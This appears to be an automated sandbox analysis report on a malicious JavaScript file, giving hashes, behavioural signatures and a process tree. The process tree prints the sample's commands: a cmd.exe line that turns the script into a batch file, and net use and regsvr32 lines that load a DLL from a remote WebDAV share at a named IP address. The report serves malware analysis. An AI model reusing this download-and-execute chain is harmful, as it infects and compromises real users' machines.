Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240708-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240708-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 01:58

General

  • Target

    a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6.js

  • Size

    5KB

  • MD5

    2a054449867bc7ca935a8080a3b638e1

  • SHA1

    41e900ecc49cbbc4c56ee3a1c14fadf5d4887a0a

  • SHA256

    a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6

  • SHA512

    34acd891cca930e430ba46df804fcc088e1eebee4d9aed3e1359548a3bafd1814d15eb5893c0c001e68f22dcbfd0ae759a2f43af799b56580d3590e0d70f1bab

  • SSDEEP

    96:YJYaTEHHm0HsYfZARusAKWEudd/R8nOHPKKNF3PKhOKCXPKKVPKpUIKrBD9TK0kz:YaaoHGqvfksdH8nOHPVNF3PWODPVVPo5

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6.js" "C:\Users\Admin\\zoyapt.bat" && "C:\Users\Admin\\zoyapt.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2296
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1936
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\511.dll
          3⤵
            PID:1836

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\zoyapt.bat

        Filesize

        5KB

        MD5

        2a054449867bc7ca935a8080a3b638e1

        SHA1

        41e900ecc49cbbc4c56ee3a1c14fadf5d4887a0a

        SHA256

        a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6

        SHA512

        34acd891cca930e430ba46df804fcc088e1eebee4d9aed3e1359548a3bafd1814d15eb5893c0c001e68f22dcbfd0ae759a2f43af799b56580d3590e0d70f1bab